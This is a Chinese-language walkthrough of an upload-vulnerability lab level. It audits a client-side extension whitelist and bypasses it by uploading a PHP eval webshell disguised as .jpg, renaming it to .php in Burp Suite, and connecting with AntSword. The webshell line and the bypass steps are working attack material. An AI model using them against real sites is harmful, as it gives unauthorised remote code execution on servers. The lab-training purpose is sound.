Pass_1
- 1. 上传测试
- 2. 代码审计
- **获取文件输入的值**:
- **检查是否选择了文件**:
- **定义允许的文件类型**:
- **提取文件的扩展名**:
- **检查文件类型是否允许上传**:
- **构建错误消息并提醒用户**:
- 3.绕过思路
- 3.1 将`WebShell`改为`.jpg`
- 3.2 使用 Burp Suite 监听、上传、改包
- 4. `WebShell`连接测试
1. 上传测试
- 上传
WebShell.php
文件看一下回显
从回显提示看只能上传
.jpg .png .gif
格式的文件
2. 代码审计
function checkFile() {// 步骤 1: 获取名为 'upload_file' 的输入字段的值var file = document.getElementsByName('upload_file')[0].value;
获取文件输入的值:
- 这行代码使用
document.getElementsByName('upload_file')[0]
来获取页面上第一个名为 ‘upload_file’ 的<input>
元素的值。 file
变量保存了用户在该输入字段中选择的文件的路径或文件名。- 在一些浏览器中,
file
可能只包含文件名,而不包含完整路径。
// 步骤 2: 检查文件输入是否为空或未定义if (file == null || file == "") {alert("请选择要上传的文件!"); // 弹出提示框,要求用户选择一个文件return false; // 停止执行函数并返回 false}
检查是否选择了文件:
- 这段代码首先检查
file
变量是否为空 (null
) 或空字符串 (""
)。 - 如果
file
是空的,说明用户没有选择任何文件。 alert("请选择要上传的文件!")
会弹出一个提示框,通知用户他们需要选择一个文件。return false
用来终止函数的执行,并且阻止表单的提交或进一步的操作。
// 步骤 3: 定义允许上传的文件类型var allow_ext = ".jpg|.png|.gif"; // 允许的文件类型包括 .jpg, .png, .gif
定义允许的文件类型:
- 这里定义了一个包含允许上传的文件类型的字符串
allow_ext
。 - 这个字符串使用竖线
|
分隔每种允许的文件扩展名,表示可以上传.jpg
、.png
和.gif
类型的文件。
// 步骤 4: 提取上传文件的扩展名var ext_name = file.substring(file.lastIndexOf("."));// 使用 `lastIndexOf(".")` 查找最后一个点的位置,截取文件名中从点开始到结束的部分(即扩展名)
提取文件的扩展名:
file.lastIndexOf(".")
找到文件名中最后一个点.
的位置。substring
方法从这个位置开始截取文件名的子字符串,也就是文件的扩展名部分(例如,如果文件名是image.jpg
,那么ext_name
就是.jpg
)。- 这种方法提取的扩展名包含了前面的点
.
。
// 步骤 5: 判断上传的文件类型是否在允许的范围内if (allow_ext.indexOf(ext_name + "|") == -1) {// 使用 `indexOf` 方法检查 `allow_ext` 中是否包含扩展名 `ext_name`// 通过将 `ext_name` 加上一个 "|" 符号,可以避免部分匹配问题,例如 .jpg 和 .jpeg
检查文件类型是否允许上传:
allow_ext.indexOf(ext_name + "|")
检查allow_ext
字符串中是否包含ext_name
加上一个竖线|
的部分。- 这样做的目的是为了避免部分匹配的问题,例如避免
.jpg
匹配到.jpeg
。 - 如果
indexOf
返回-1
,说明ext_name
不在allow_ext
中,即文件类型不被允许上传。
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件, 当前文件类型为:" + ext_name;// 构建一个错误消息,包含允许的文件类型和当前上传文件的类型alert(errMsg); // 弹出错误提示return false; // 停止执行并返回 false}
}
构建错误消息并提醒用户:
- 如果文件类型不被允许上传,函数会构建一个错误消息,说明只允许上传哪些类型的文件,并提示当前文件的类型。
alert(errMsg)
会弹出这个错误消息框,通知用户选择的文件类型不符合要求。return false
停止函数的进一步执行,并阻止表单的提交或后续处理。
3.绕过思路
- 该验证是属于
前端白名单验证
,当点击上传
的时候客户端浏览器会检测文件是否是.jpg .png .gif
其中一种格式,我们可以将WebShell
文件先改为.jpg
文件,之后使用Burp Suite
抓包把文件改为.php
从而绕过。
3.1 将WebShell
改为.jpg
-
将代码复制粘贴保存为
.jpg
文件<?php @eval($_POST['Hack']); ?>
3.2 使用 Burp Suite 监听、上传、改包
- 改为
.php
格式后放行数据包
4. WebShell
连接测试
- 上传文件地址:
http://10.10.0.3:8800/upload/WebShell.php
- 蚂剑连接
WebShell
测试